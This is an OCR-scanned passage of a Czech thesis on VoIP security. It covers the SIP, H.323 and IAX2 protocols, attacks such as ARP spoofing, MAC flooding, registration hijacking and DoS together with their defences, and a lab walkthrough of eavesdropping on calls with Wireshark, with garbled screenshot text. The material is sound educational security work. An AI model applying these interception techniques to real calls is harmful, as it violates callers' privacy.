Infrastructure). Informaci o sdileném Sifrovani si ZRTP nechava z ptedchoziho spojeni, tim
je umoznéna autentizace a prevence pred utokem. Pro dalsi zabranéni utoku man-in-the-
middle vyuziva mechanismus SAS (Short Authencication String), jedna se o vypocet dvou
Diffie-Hellmanovych hodnot. Kazdy z uZivateld si vypocita své hodnoty SAS, které si poté
sdé€li po oddéleném kanalu. V ptipade, Ze jsou obé hodnoty stejné je velice pravdépodobné,
ze spojeni dvou uzivatelii neni napadeno (ito¢nikovi totiz nezbyva, nez pouze odhadnout
jakou SAS ma odeslat). Autofi nami popisovaného protokolu vyvinuli projekt s ndzvem
Zfone [18], jehoz hlavnim tkolem je zabezpeceni VoIP komunikace mezi Ucastniky proti

tietim osobam (itocniklim) a umoziuje spolupracovat s vétsinou SIP klienti.

2.2 Signaliza¢ni protokoly

V nasledujici kapitole budou popsany signalizacni protokoly H.323, podrobné se
budeme vénovat protokolu SIP a IAX2. Ackoli se v praxi pouzivda mnohem vice protokold,
milzeme fici, Ze tyto podrobné popisované protokoly jsou nejpouzivanéjsi v dneSni VolP

technologii.
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2.2.1 H.323 Protokol

Protokol H.323 pfijala Mezindrodni telekomunika¢ni unie (ITU) v roce 2006 [19].
Vroce 2009 [20] je vydan dokument rozsifujici nové doporuceni, jsou piidany nové
dulezité funkce. RovnéZ se zabyva omezenim piipadnych zavad v pfedchozi verzi. H.323
je protokol zalozeny na standardu H.320, ktery vyuziva nékteré jeho prvky a byl urcen
pfedevSim pro ISDN sluzby (Integrated Services Digital Network, z anglictiny ,,Digitalni
sit’ integrovanych sluzeb®). Protokol v sobé zahrnuje spoustu dalSich protokolil, coz z néj

Pfi sestaveni spojeni a pocatecni signalizaci vyuziva protokol H.225 pro domluvu
a otevieni adres portd, je to protokol H.245. H.235 se zabyva fadou bezpecnostnich prvk,
rozsahlymi konferencemi se zabyva protokol H.332 [21]. Prostiedi protokolu H.323 bylo
vyvinuto tak, aby jej bylo mozné pouzit napiiklad pti potadani videokonferenci s vyuzitim
siti PSTN, uplatnéni a splnéni pozadavkd v multimedidlni komunikaci. Pomoci formatu
ASN.1 (Abstract Syntax Notation) jsou pii pifenosu data kédovana do binarniho kodu.
Velmi casto se zapouzdiuji zpravy z jednoho protokolu do druhého. BéZnou zéleZitosti je
jiz konfigurace podminek protokolem pro jiny protokol. Aktualni verzi protokolu H.323 je

verze 7.

2.2.2 SIP Protokol

Protokol SIP byl poprvé pfijat v IETF (Internet Engineering Task Force) v roce
1996. O tfi roky pozdéji byl specifikovan v prvotnim RFC 2543 [22], v soucasné dobé je
aktudlni verzi RFC 3261 [23]. Hlavnim ukolem protokolu je sestaveni oboustranného
spojeni s vyuzitim mechanismti obsazenych v IP protokolu. Oproti H.323 je mnohem
jednodussi, nevyuziva ke své funkci dalsi protokoly.

Jedna se o textovy protokol, ktery vyuziva standardné port 5060 [21], coz umoziuje
bezproblémovou rozsifitelnost a pomérné jednoduché ladéni. Definuje vytvareni nového
spojeni a komunikaci. Prostiednictvim SIP jsou spojovani jednotlivi koncovi uZzivatelé
s vyuzitim proxy, lokaliza¢nich a smérovacich servert. Z typu protokolu klient-sever je

ziejmé, ze pii probihajici komunikaci jde o dva typy zprav, otazka a odpoveéd. V modelu
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OSI jej najdeme v aplikacni vrstvé, na transportni pouziva pii pfenosu TCP nebo UDP
protokol. Ty mohou byt za urc¢itych podminek navzajem zaménény. Dale je mozné pro
komunikaci vyuzit protokol SCTP (Stream Control Transmission Protocol). Ten je vhodny
pokud je tfeba vytvofit spolehlivé spojeni mezi vétSim poctem servert. Jestlize dojde
k nédhlému pteruseni cesty, lze tak minimalizovat Cas zplisobeny vypadkem poskytované
sluzby.

Protokol SIP je zaclenén do skupiny signalizac¢nich protokoli. Je schopen vytvofit,
upravovat, ukoncovat multimedidlni spojeni. Z tohoto diitvodu nasel uplatnéni v internetové
telefonii a vytvafeni multimedidlnich konferenci. SIP lze vyuzivat pro vytvoieni hovoru,
piibirani dalSich ucastnikii béhem hovoru, ukonceni probihajiciho hovoru, ale také pro
spojeni mezi PSTN a internetovou siti. Rovnéz je schopen rozeznat, kdo je piipojen
k danému hovoru a evidovat tak pocet GcCastniki. Pti identifikaci v siti vyuziva podporu
mapovani (name mapping) a sluzeb presmerovani (redirection service), diky kterym je
jednou z hlavnich vlastnosti SIP mobilita. Jednotlivi uzivatelé maji ptidéleno - SIP URI
(SIP Uniform Resource Identifier), SIPS URI ( Secure SIP URI) — jedné se o zabezpecenou
formu protokolu, kterda umoznuje uzivateli pfi vytvofeni adresy tvaru sip:user@host,
sips:user@host [23] a pfipojeni do sit¢ Internet, vyuzivat sluzby SIP kdekoliv na celém
svéte. Dle specifikace mapovani telefonnich ¢isel do vSech tvardt URI (ENUM — Telephone
Number Mapping), kterd byla poprvé definovana v RFC 2916 v roce 2000, byla pozdéji
vydéana nov¢jsi verze s ozna¢enim RFC 3761 [25] v roce 2004, je tedy mozné s podporou

ENUM volat s béznym telefonnim ¢islem [25].

Architektura protokolu SIP

Na rozdil od protokolu H.323 je architektura SIP sloZena z nékolika jednotlivych
prvki. Mezi né patii terminaly (end points neboli user agents), proxy server (proxy server),
pfesmérovaci server (redirect server), lokaliza¢ni server (location server) a zafizeni
registrar. Na obrazku 2.2 [21] je zobrazena architektura sit¢ SIP s vyuzitim proxy serveru.

Pomoci prvku registrar, ktery je soucasti serveru (proxy nebo ptesmérovaciho) je
automaticky zasilana pozice uzivatele, z toho je zfejmé, ze uzivatel neni vazan k jednomu

hostiteli. Lokaliza¢ni server slouzi pro ulozeni informace o pozici uzivatele. Dulezitym
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prvkem komunikace je smérovani zpravy pies proxy nebo smérovani servery. Proxy server
na zéklad¢ uzivatelského jména v hlavic¢ce zjisti adresu z lokalizacniho serveru kam ma
danou zpravu predat, zda serveru ¢i koncovému terminalu. Hlavnim ukolem proxy serveru
je tedy smérovani pozadavka do dalSich siti. Naproti tomu pfesmérovaci server sice takeé
zjisti adresu z lokaliza¢niho serveru, ale zpét poSle tuto informaci uzivateli, a ten poté muze

sam odeslat zpravu na adresu, kterou zjistil lokaliza¢ni server.

-

1 I

- LOCATION
SERVER
2
| / 5 \&
REGISTRAR REGISTRAR
_ﬁ‘
PROXY SERVER PROXY SERVER

1-Vola Nela, 2-Zaznamenava polohu Frantiska, 3-Zjistuje
polohu Nely, 4-Zaznamenava polohu Nely, 5-Vysila pozadavek
o hovor na doménu Nely

Obr. 2.2: SIP — Architektura sité

Sestaveni spojeni s protokolem SIP

Jak jiz bylo tfe€eno protokol SIP je textového formatu. Proto i vSechny zpravy pfti
sestavovani spojeni jsou v textovém formatu. Zde neni potieba slozité pridélovat porty, jak
je tomu u H.323. Pii sestaveni spojeni je tfeba alespon tii zprav mezi terminaly (€astniky),
které probihaji nejcastéji na TCP protokolu. Prib&h hovoru je zobrazen na obrazku 2.3
[25]. Pfi navazéani spojeni posle uzivatel FrantiSek pozadavek INVITE druhému uzivateli
Nela. Server se snazi zjistit aktualni polohu ucastnika Nela. Dle toho v jakém pracuje server
moédu (proxy nebo redirect), v proxy modu server zpravu INVITE upravi a pieposle
k ucastnikovi Nela, v redirect modu server pieposle informaci o poloze ucastnika Nela
ucastnikovi FrantiSek a ten sdm navaze spojeni. Nela odpovi na adresu FrantiSek kodem
200 OK. Poté jeste pied zahajenim spojeni posle ticastnik Nela pozadavek ACK. Spojeni

zac¢ind. Pokud se jeden zucastnikli rozhodne ukoncit spojeni, zasle pozadavek BYE,
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na ktery je z druhé strany odpovézeno OK a hovor je ukoncen. Pro nadchazejici hovor jsou
detaily hovoru sestaveny v prubéhu spojeni. Koédy 100 (Trying), 180 (Ringing) jsou
informativni. Pro potfebné informace vyuzivad protokol SIP SPD (Session Description
Protocol), ktery je definovan v RFC 4566 zroku 2006 [26]. Uplatnéni protokolu je

u multimediadlniho pfenosu dat, popisuje vlastnosti relace.

Franti$ek vola Nele v SIP
FRANTISEK Proxy Server(s) NELA

INVITE Nela
INVITE Nela@123.45.67.8

OK od Nela@123.45.67.8
OK od Nela@123.45.67.8

ACK Nela s cestou
Nela@123.45.67.8

ACK Nela@123.45.67.8

KONVERZACE
BYE Nela@123.45.67.8
ﬁ_
BYE Nela@123.45.67.8
OK
OK ———

Obr. 2.3: Prabéh hovoru v protokolu SIP

2.2.3 IAX protokol

Protokol TAX vyvinula spole¢nost Digium, hlavnim pfestavitelem je Mark &
Spenser pro Asterisk a VoIP signalizaci, jako otevieny protokol v roce 2003 byla vytvoiena
druha verze s ndzvem IAX2, kterd byla od tnora roku 2009 specifikovana v informacnim
RFC 5456 [29]. Divodem bylo vyuziti mezi Asterisk servery, ovsem [IAX2 je schopen
komunikovat mezi velkym poctem open sourcii v telekomunika¢nim svété. Obvykle se
vyuziva pro komunikace typu server-to-server.

Pouzivanym protokolem VoIP, ktery ptfenasi signalizaci a hovor mezi koncovymi
body po jednom portu je UDP port 4569. Veskeré parametry a piikazy jsou odesilany
v binarnim formatu jako numerické kédy. Oproti SIP nebo H.323 je schopen IAX2 snadno
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prochazet mezi firewaly (je schopen eliminovat pocet dér) a prekladaci sitovych adres. Tim
se stal jednim z nejjednodussich protokold pro implementaci zabezpecenych siti. Protokol
rovnéz podporuje tzv. trucking, coz umoziuje multiplexovat n€kolik relaci do jednoho
datového proudu paketli mezi dvéma koncovymi body, to méa za nasledek snizeni rezie,
aniz by vznikalo dalsi zpozdéni. To je vhodné vyuzit v pfenosech VolP, IP hlavickach, kde
je poté optimalné vyuzita Sitka pasma. IAX2 umoznuje kontrolu a pfenos streamovani
medii v IP v sitich, ovladani hlasovych hovorti IP. Vzhledem k flexibilit¢ je mozné jej
vyuzit pro vSechny typy streamu, vCetn¢ videa.

Pro ovéfovani vyuziva protokol tii zplsoby: MDS5 haSovani, plain text a RSA
vyménu klica. Dals§i metodou Sifrovani je také pouziti dynamické vymény klich pfti
sestavovani spojeni, kterd se nazyva call setup, kde je mozné vyuZzit moznosti

encryption=aes128, jenz slouzi pro automatickou vymeénu klict.

Konfigurace IAX a Asterisk

Pro vzajemnou komunikace mezi Asteriskovymi servery se vyuziva kanalu IAXtel,
ktery nabizi firma Digium. Kanal podporuje pouze spoluprdci zminovaného protokolu
[IAX2. Jeho pfednosti je spojeni IAX klientd a pfipojeni k sluzbé IAXtel. Pro
nakonfigurovani kanéalu se vyuzivd modifikace souboru iax.conf. Tento soubor obsahuje
veskeré informace o konfiguraci Asterisku. Spravuje a vytvari protokol kanalu IAX2 [3].
Jednotlivé polozky jsou oddéleny zahlavim v hranatych zavorkach. Jména v zévorkach
tvofi ndzvy kanali. Vyjimku tvofi nazev ,general, coz neni kandl, ale oblast pro

A4

definovani globalnich parametrt protokolu. Blizsi specifikace je uvedena v literatuie [3].

Sestaveni hovoru pomoci IAX2

Realizace spojeni je zahrnuta do 3 krokt viz. obrazek 2.4. Pfi spojeni vysle terminal
Nela novou zpravu ,,new*. Terminal FrantiSek reaguje zpravou o pfijeti ,,Accept” a opét
¢eka na odpoveéd od volajiciho ucastnika Nela ACK. Poté volany FrantiSek posild signal
zvoneéni ,,Ringing* a ¢eka potvrzeni ACK od volajici. Potom je zaslana zprava odpoveéd

L2Answer® a Ceka se na opétovné potvrzeni ACK, po kterém je mozné zacit hovor.
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Jednotlivé ramce typu M (Mini Frames) a F (Full Frames) se posilaji spolu s audio daty.
Stream je slozen z M rdmce, ktery obsahuje hlavicku, ta pfedevSim slouzi k vyuziti Sitky
pasma a F rdmce obsahujici informace o synchronizaci. Tento pfenos probiha na UDP
protokolu. Pro ukonc¢eni spojeni vysle jeden z uzivatelti zpravu ,,HangUp* a druhy uzivatel

ji opét potvrdi ACK [3].

TERMINAL Nela TERMINAL Frantisek
| n
NEW
ACCEPT
ACK
—
RINGING
—<
ACK
——
ANSWER
—_— =
ACK
M AF frames
_<
HANG UP
——
ACK
—<

Obr. 2.4: Sestaveni hovoru pomoci [AX
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3 Utoky a nebezpeti ve VoIP

Jak vyplyva z predchozich textl, zabezpeCeni souvisejici s technologii VoIP neni
jednoduché. To méa za nasledek vyvoj novych aplikaci, v naSem ptipad¢ protokold, u
kterych je tieba vzdy brat ztetel na bezpecnostni mechanismy, jejich pouziti a ubranéni se
riznym druhtim napadeni. Jistou vyhodou je zde podobnost protokolli pouzivanych ve
HTTP z ¢ehoz plyne, ze i mozné nebezpec¢i budou podobného charakteru. Vzhledem
k tomu, ze komunikace pomoci technologie VoIP probiha v readlném cCase, v ptipadé ztraty
paketu, popiipadé jeho poskozeni, jiz ve vétSin€ pfipadi neni mozné jej zaslat znovu. Je
tieba zajistit takové bezpecnostni mechanismy, které¢ budou proti témto nebezpecim odolné.

Nezbytné pro kazdy zapocaty Utok je zajisténi pfistupu k dané siti. Pro ziskani
piistupu existuje n€kolik moznych postupti, zalezi na utocnikovi o jaky utok na danou
aplikaci ma zajem (odposlech, data, modifikace). V této kapitole budou postupné popsany
jednotlivé mozné tutoky ¢i hrozby se zaméfenim na neopravnény priistup k siti, dale

odposlech, modifikaci a mozné odepieni sluzeb DoS.

3.1 Ziskani pristupu Kk siti

Utok toho typu slouzi piedev§im jako pomiicka pro moznou implementaci dalich
utokl typu odposlech, modifikace atd. Zalezi, zda ma uto¢nik zamér ziskat ptistup na
koncové zafizeni ucastnika, odkud ma poté otevien pfistup k jeho hovorim nebo dokonce
na proxy server, odkud je schopen odposlechnout jakykoliv hovor v daném prostredi. Nize
budou popsany moznosti ziskani ptistupu do sité.

Z tad jednodussich utokt je ziskani pristupu pomoci hubu nebo prostiednictvim sité
Wi-Fi (Wireless Fidelity). Ten pracuje na principu rozesilani dat do vSech portti bez toho,
zda jste soucasti terminalu ¢i nikoliv. Odtud tedy utoc¢nikovi staci pouze pfiipojeni
k danému hubu, ve kterém je i1 koncovy uzivatel. Pomoci specidlnich programi, které jsou
schopny analyzovat sit¢ je mozné proniknout také do Wi-Fi. OvSem pro ochranu

a zabezpeceni lze pouzit n€kterou z podporovanych technologii, jako napiiklad WEP

vevr
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variantou WPA (Wireless Application Protocol), ta se vyuziva také pro zabezpeceni vétSiny
mobilnich telefonti. Pomoci telefonu Snom phone [30], ktery se nastavuje pfes weboveé
rozhrani je mozné odchytnout datovy tok. Utok na proxy server jiz neni tak zcela
jednoduchy. Zalezi na nastaveni konfigurace sit¢ a zru¢nosti Uto¢nika. Zru¢ny utocnik je
schopen naprogramovat si provoz portu uzivatele na sviij individualni port. Casta
konfigurovatelnost portu je zavisla na operacnim systému [30].

Dalsi moZnou variantou Gtoku na switche je pfeplnéni jeho tzv. ARP/MAC tabulky,
kde si prostfednictvim protokolu ARP (Address Resolution Protocol) uchovava jednotlivé
informace o IP adresach uzivateld, které jsou mapovany pomoci MAC (Media Access
Control). Pokud se tabulka zaplni, coz je hlavni zdmér utocnika a jeji kapacita jiz nebude
dostacujici, zméni se rezim switche do rezimu hubu, kde je napadeni jednoduchou
zalezitosti [30].

Mezi dals$i utoky, u kterych je mozné ziskani pfistupu na switch patii ARP
Spoofing. Diky nému je uto¢nik schopen vydavat se za jiny pocitac v siti. Princip je takovy,
ze utocnik posle pomoci protokolu ARP vSem v siti dotaz, aby mu vSichni uzivatelé
se stejnou [P adresou (znd utocnik) zaslali svou MAC adresu. Vzhledem k tomu, ze toto
zasilani mtze trvat nékolikrat za sebou a tocnik je poté schopen zaznamenat si faleSnou
adresu do tabulek, odkud poté bude posilat data on. V ptipadé¢ odposlechu mezi dvéma
uzivateli podstrci tonik svou MAC adresu a ptijata data nadale bude posilat koncovym
uzivatelim. Ochranou proti ARP spoofingu je udrzovani statickych ARP/MAC tabulek
[30] u vSech prvku (server, switch, gateway....), toto fesSeni je pro velké sit¢ velice narocné
po administrativni strance, ale vzhledem k jistoté zajisténi bezpecného provozu dulezité.
Nezbytnou soucasti kazdé ochrany je tedy nutnost data peclivé chranit prostiednictvim

Sifrovani.

3.2 Signalizac¢ni data - Modifikace a obrana pred ni

Pokud se uto¢nik snazi ovlivnit komunikaci mezi dvéma uZivateli vyuzije néstroj,
ktery se nazyvad modifikace. Ten je zaméfen piedev§sim na signalizani data. Nyni si
popiseme nejznaméj$i mozné utoky zptisobené touto metodou.

Mezi né bezpochyby patii utok main-in-the-middle. V tomto ptipadé je uto¢nik
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schopen odchytit posiland data mezi uzivateli, pozménit je a poslat zpét k urCenému cili.
Uzivatel, ktery pozménéna data pfijima, obtizné v ptipadé uspéSného ttoku pozna, ze doslo
k poSkozeni integrity. V okamziku, kdy poskozend data pfijme se uto¢nikovi otevird brana
k realizaci dalSich moznych utokli, mezi které patii napiiklad: impersonation - coz
znamend, ze se Uto¢nik snazi vydavat za nékoho uplné jiného, redirection — je chopen
presmérovat nebo ukoncovat hovory, poptipadé odepfit sluzby DoS.

Dal8i mozZnou variantou utoku je zasilani SIP textovych zprdv. Mezi né patii
moznost, kdy utoCnik odregistruje uzivatele od serveru a tim mu zabrani v piijimani
prichozich hovorti (z angliCtiny registration removal). Vzhledem ktomu, ze VolP
umoznuje registraci klienta na vice termindli (v praxi to znamend, Ze klient ma vice
koncovych zatizeni), jedna se o jeden z oblibenych utokii Gto¢niki (z anglictiny registration
addition).
uzivatele (z anglictiny registration hiacking), kde je potom mozné aplikovat utok typu
phising (vede k ziskani osobnich informaci, hesel, atd.). Pomoci SIP zprav je Gto¢nik také
schopen piesmérovat popiipadé vlozit (z angli¢tiny RTP mixing) nebo vytvofit novy hovor
(stream) (z anglictiny RTP insertion).

V dnes$ni dobé ovSem existuje nékolik moznych variant obrany pied témito toky.
Jednou z nich je vyuziti protokolu TCP pii komunikaci. Ten oproti UPD stéle drzi spojeni
a proxy server je schopen kontrolovat ¢isla TCP paketti. Jako dal$i moznou variantou
zabezpeceni je implementace TCP spolu s TLS. RovnéZz autentizaci u protokolu SIP je
mozné feSit zabezpecCeni. Pokud jsou jednotlivé zpravy pii sestavovani i be&hem
komunikace zabezpeCeny dostatecné silnymi hesly, nemé¢lo by dojit k jejich napadeni.
Vhodnou obranou proti utoku s nazvem RTP mixing, je vyuziti autentizace a Sifrovani
v protokolech SRTP nebo ZRTP. To umozni zabranit uto¢nikovi v mixovani RTP streamtl,
pokud dojde k mixovani Sifrovaného streamu, bude po deSifrovani znit pouze jako Sum.
Proti napadeni uzivatele je také vhodna obrana zasladni registracni zpravy. Pokud jej
uzivatel pozaduje nékolikrat za dobu spojeni, uzivatel na druhém konci se musi opét
v kratkém intervalu pfihlasit o svoji identitu. Mezi méné u¢inné obrany patii nastaveni SIP

portu na jinou adresu nebo vyuziti SIP firewalu pro kontrolu SIP signalizace. Obé tyto
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metody slouzi spise jako dopln¢k vyse popsanych metod, které zajisti vySsi zabezpeceni.

v

Podrobné;jsi informace o téchto utocich a obranych prvcich jsou popsany v literatuie [30].

3.3 Odposlech a obrana pred nim

Nejzndméjsim druhem utoku, ktery byl oblibeny jiz ve staré PSTN telefonii a jisté si
najde své misto i v novejsi VoIP telefonii je odposlech (eavesdropping). Do této kategorie
utoku patii také mozné zjisténi udaji u signalizacnich protokolii. Zabezpeceni je proto
vhodné fesit tak, aby nemohlo dojit naptiklad k zjisténi ticastnikii, kdy a jak dlouho spolu
hovotili atd. Realizace odposlechu je mozné v okamziku, kdy uto¢nik ziskd ptistup na
pakety v datovém toku. V dneSni dobé¢ existuje mnoho programt, které dovedou prevést
RTP stream na zvukovy format rizného typu napiiklad raw, waw, mp3,..., ty je pozd¢ji
mozné piehrat v jakémkoli hudebnim piehravaci. Zde nemlzeme opomenout ani program
k uspésné realizaci odposlechu s nazvem Wireshark, ktery 1ze volné stdhnout z Internetu.
Ten je schopen rozpoznat jaké druhy protokolii se pouzivaji pro komunikaci mezi uzivateli,
analyzovat sitovy provoz a jak jiz bylo popsano vyse, nemiize chybét moznost vytvoreni
zvukového souboru z RTP.

Nejvhodnéjsim typem obrany pied odposlechem je zamezeni pfistupu k siti. Pfi
komunikaci pies IP protokol si nemtzeme byt jisti kudy nase data proudi, ani zda je nékdo
neodposlouchéava. Proto pii telefonovani je vhodné zabezpeCeni ve formé Sifrovani dat
patficnym algoritmem. Tuto moznost ndm nabizi nékolik dostupnych prvkd, které byly
popsany vyse. Jedna se naptiklad o IPsec, ktery je schopen Sifrovat data kazdého protokolu

nebo SRTP a ZRTP - Zfone, které¢ jsou vhodné pfi pfenosu zvukového nebo video streamu.

3.4 Utok typu odepi‘eni sluzeb DoS

Pii odepfeni sluzby DoS v technologii VoIP dojde ke kompletnimu znemoZznéni
jejiho vyuziti. Hlavnim cilem je jeho nefunkc¢nost ¢i nedostupnost pro uZivatele na zakladé
prehlceni sluzeb. Cilem takového utoku je bud’ kompletni obnova systému (reset) nebo
v lepSim pfipad¢ naruseni komunikace mezi uzivatelem a serverem, coz znemozni nebo

piipadné zpomali jejich komunikaci. Utok s nazvem Flood Attack patii do skupiny DoS
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a je nebezpecny jak pro TCP, tak UDP protokol. Jeho hlavnim tikolem je zahltit pfenosové
pasmo prostiednictvim velkého mnozstvi dat, které utocnik zasild na sitové rozhrani. Tim
je znemoznéna komunikace mezi uzivateli. Nejen zahlceni paketl patii do skupiny ttoka
DoS, rovnéz je mozné ohrozit funkénost neékteré aplikace nebo systému vyuzivajici VoIP
technologii pfi komunikaci mezi uzivateli. Téchto typt tutoki je bezpochyby velké
mnozstvi, jsou mezi nimi napiiklad zahrnuty také napadeni infrastruktur DNS ¢i DHCP

[30], obrana proti nim je pomérné slozitd a odvozuje se dle typu tokli na dany systém.
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4. Prakticka Cast

V praktické ¢asti této prace byly demonstrovany nékteré vySe popsané ttoky, které
byly vyzkouSeny v praxi. Jedna se predevSim o pasivni utok formou odposlechu. Hlavnim
ucelem tohoto utoku bylo zachyceni a analyza paketi dvou komunikujicich stran, které
byly poté ptevedeny do zvukové podoby. Mezi dalsi aktivni utoky patiilo nésilné ukonceni
hovoru a pfesmérovani hovoru mezi dvéma komunikujicimi G€astniky. Soucasti samotnych

utokl byly i navrhy zabezpeceni, které jim byly schopny predchazet.

4.1 Analyza odposlechu SIP a IAX2 protokolu

Pfi tomto 1utoku byla wvyuzita softwarova ustiedna Asterisk verze 1.6.2
(www.asterisk.org). Ustfedna byla spusténa ve virtudlnim okné softwarového néstroje
Wmvare player (http://www.vmware.com), kde byl nainstalovan opera¢ni systém Ubuntu
(www.ubuntu.com). V Asterisku (192.168.0.116) byli vytvoieni uzivatel¢ pro komunikaci
se SIP protokolem 201 (192.168.0.195), 202 (192.168.0.198) a dale 203 (192.168.0.195),
204 (192.168.0.198) pro komunikaci s IAX2 protokolem. Jako poskytovatel sluzeb byla pro
komunikaci mezi uzivateli pomoci SIP protokolu vyuzita spolecnost Qutecom
(http://www.qutecom.org), u které¢ byly vytvoieny dva ucty 201 a 202 uzivatel. Pro
komunikaci  pomoci IAX2  protokolu byl zvolen  poskytovatel  Zoiper
(http://www.zoiper.com), u kterého byly zvoleny dalsi dva ucty 203 a 204, lze jej vyuzit i
pro komunikaci prostfednictvim SIP. Pro navazani spojeni k ustiedné (virtualni) a mezi
obéma uzivateli byly pouzity notebooky. Odtud bylo umoznéno odposlouchavani a analyza
paketi pomoci softwarového nastroje, ktery je uveden nize.

Pro analyzu  tohoto  utoku  byla  zvolena  aplikace = Wireshark
(http://www.wireshark.org), jejimz predchidcem byl projekt s nazvem Ethernal, slouzici
piedevsim pro analyzu sitovych provozli a ndmi zkouSeny odposlech. Hlavni vyhodou je
podpora velkého mnozstvi komunika¢nich protokolit (OSI modelu) a funk¢nost ve vSech
operacnich systémech (Linux, Windows a dalsi). Prostfednictvim uzivatelského rozhrani je
usnadnéno ovladdani a analyza jednotlivych paketd s moznosti ptimého ptevedeni RTP

paketti do zvukové podoby formatu au nebo raw.
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Pro realizaci samotného odposlechu protokolem SIP bylo vyuzito dvou notebookd.
Po navazani spojeni uzivatele 202 s 201 prob¢hl hovor s nasledujicim textem: ,,Dobry den®.
V programu Wireshark byl pfed samotnym zahdjenim hovoru nastaven filtr pro zobrazeni
nami pozadovanych protokold. Obrazek 4.1 zobrazuje uzivatelské rozhrani programu
Wireshark se zobrazenim SIP paket. Dale na obrazku 4.2 je zobrazeno textové schéma,

které je rovnéz mozné z vystupu Wiresharku vytvofit.

¥ hovor sip_1.pcap - Wireshark =113
Be M en fo Cootue  jrahee  Jlatsl
e BxX & rvaFTiPE cacann @8 % B
Fiter: (o T Egresoon... Cesg agply
- Source Destration Protoosl ko o

192,168.0,19% 192,168, 0,116 SIP/S0DP
192,166.0.116 192.168,0.195 SIP

192,168, 0,198 192,168, 0,116
192,166.0.116 192.166,0.195

192.168.0.116 a L0 Status: 200 OK

® Frame 6 (971 bytes on wire, 971 bytes captured)
w Ethernet II, Srci veware_8b:9c:29 (00:0c:29:8b:9c:29), Ost: Compalel_f2:d7:fb (00:0F:b0:F2:d7:¥b)
+ Internet Frotocol, Src: 182.168.0.116 (162.168.0.116), Gst: 192.168.0.198 (192.168.0.108)
= User Datagram Protecel, Src Port: sip (3060), Cst Port: sip (50600

Source port: sip (5060)

pestination port: sip (5060)

Length: 937

4 checksum: Ox0af0 [validation disabled]

{5 sesston inictation protocor ]
+ REQUEST-LINE: INVITE S1p:2029192.168.0.198:5060 51P/2.0
# Message header
il Message Body
session Tnitiation Protacol (SIP as raw text)
INVITE 5ip:10281902.168.0.198:5060 S1p/2.04r\n

SIP/2.0/u0f 192,166.0.116: 5060; branch=-z0hGibxdbee7fesirportirin

L 70NN

2019192, 188. 0. 116> tageasSfacesSc2\rin

12029192, 168, 0, 198 : 3060>r\n
0020 00 c6 13 cd 13 cd 01 ad
0030 R 230 32
0 7o 31 30 I8 3a 35
¢ 30 Od Da 56 69 61
f 55 42 50 20 31 39

b sesmen 1rvnanon Premce (sp), 529 bytes Packets: 851 Deptaved: 22 Marked: 8 Profie: Defoutt

Obr. 4.1: Program Wireshark — analyza paketti SIP

Ze schématu na obrazku 4.2 je ziejmé, ze dosSlo ke komunikaci pies server, kde
uzivatel 202 vola uzivateli 201. Cely hovor trval asi 11 sekund. Samotny hovor trval asi 3
sekundy, kdy byl otevien RTP kanal. Rovnéz je mozné vycist ¢as jednotlivych pakett pii
celém sestaveni spojeni. V zavorkach jsou uvedeny druhy portt a pripadné¢ dalsi informace.
V jednotlivych SIP zpravach, které jsou v textové podobé€ a je mozné pomoci nich provadét
podrobnou analyzu, Ize vyc€ist napft. identifikacni ¢islo spojeni tzv. Call-ID, podrobnosti
o RTP streamu, jeho sestaveni a dalSi. Vzhledem k tomu, Ze jednim z nejdulezitéjSich
prvki kazdého utocnika je odposlech hovoru, byl po ukonceni hovoru pofizen zaznam
z odchyceného RTP streamu do formatu au zvukové podoby. Zvukovy zdznam lze piehrat

v prehravaci.
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[Time 192.168.0.195 192,166.0.198 I
| 192.185.0.116

0,000 :< 3 mequest: INVITE 5ip ¢ . |51/ /soP: mequest: INVITE sTp:2029192.166.0.116, with session descriprion
| {5080 S060)
0,020 [51p: Status: 401 unauthorized
5060) (3060)
0,022 | |51P: mequest: ACK s1p:202@192.168.0.116
| {50607 {5060)
0,023 | SIP/SDP: Request: INVITC sip:2020192.168.0.116, with session description
| (a060) (3060)
|0, 024 | |87P: Status: 100 Trying
| 5060y
|2, 940 | |51p/500: Request: TNVITE 5ip:2000193.168.0.108:5060, with session description
(5060} (5060} |
1 B0 Ringing [8TP: Status: 180 Ringing
| (50607 e ———— |
| [5TP: Status: 100 Trying
(50607 (5060) sl
SIP: Statu B0 minging
(50807 {50607
| 160 Ringing SIP: Status: 180 Ringing
| (50607 fmmw e ————
| SIP/SDP: Status: 200 OK, with session description
| {50600 {5060)
| Request: ACK sip: ZU SIP: Request: ACK s1pi2020192.108.0.198:5060
| (5060 » (5060) |
| Status: 200 oK, wit |SIP/SDP; Status: 200 OK, with session description
1(5060) < {5060)
| HEQUEST: ACK s1p:2o S1P; RequesT: Ack s1pi2028192.168.0.116
| (5060} {5060) I
| Prailu=1 6711 pomu [RTP: PTaLTU-T G.711 POMU, SSRC=0XTEEZ, Seqel, Time=0
| {10600) > (18902)
| PT=1Tu- I 6. 711 PCMU [RTP: PTaITU-T G711 PCMU, SSRC=0xE0ECEQOL, Seq=6758, Time=24000
| (16914 > (10800)
|10, 745 | mequest: Bve sip:i0 |sie: mequest: uye sip:2028192.168.0.116
| (5060) - > (5060)
10,74 | |51P: Status: 200 O
| {30607
10,75 | |51P: Request: BYE S1p:2029192.166.0.198:5060
| (50603 {5060)
752 | |51 Status: 100 Trying
(5060 {5060)
(10,752 |5TP: Status: 200 oK
(5060 {3060)

Obr. 4.2:Prubéh hovoru dvou uzivatela v SIP

Realizace odposlechu s vyuzitim protokolu IAX2 probihala obdobné. Opét pro
sestaveni spojeni byly pouzity dva notebooky, kde uzivatel 203 navazoval spojeni
s uzivatelem 204. Po navazani spojeni prob¢hl hovor s textem: ,,Dobry den‘. Obrazek 4.3
zobrazuje uzivatelské rozhrani programu Wireshark se zobrazenim IAX2 paketd. A na
obrazku 4.4 je zobrazeno textové schéma, které bylo pofizeno z vystupu programu

Wireshark.

e Edt Yew Go Caotre Awioe Sasstcs Telephony Joos el
Gadee EEXZE S+« T

Fter: iz

z mestanp !n NEW
source calle 96“. tim TABE SMS AUTHRED
source uﬂl 29, :1I"tw 16m5 AUTHREP
source # 9644, timestanp Bos ACCEPT

:.\11' 29, Timestamp Sms ACK
call# 3773, vimestamp Sms wEw

7 BE. TR T
23 5.312638 192,188,0.116 soUrce calle 96as
24 5.212707 192,166,0.116 192.166.0.195 1ax2 source calle wu. l
25 5.212765 192,166, 0.116 e source calle 9644, Zams u
26 5. 212868 192,168, 0,116 contral, source calle 2?73. :lmlw 1936m3 urknown (Ox13)

=1
Packet type: Full packet {1) &=l
010 0101 1010 1100 = Scurce call: 9634
.00 D000 0001 1101 = Destination call: 29
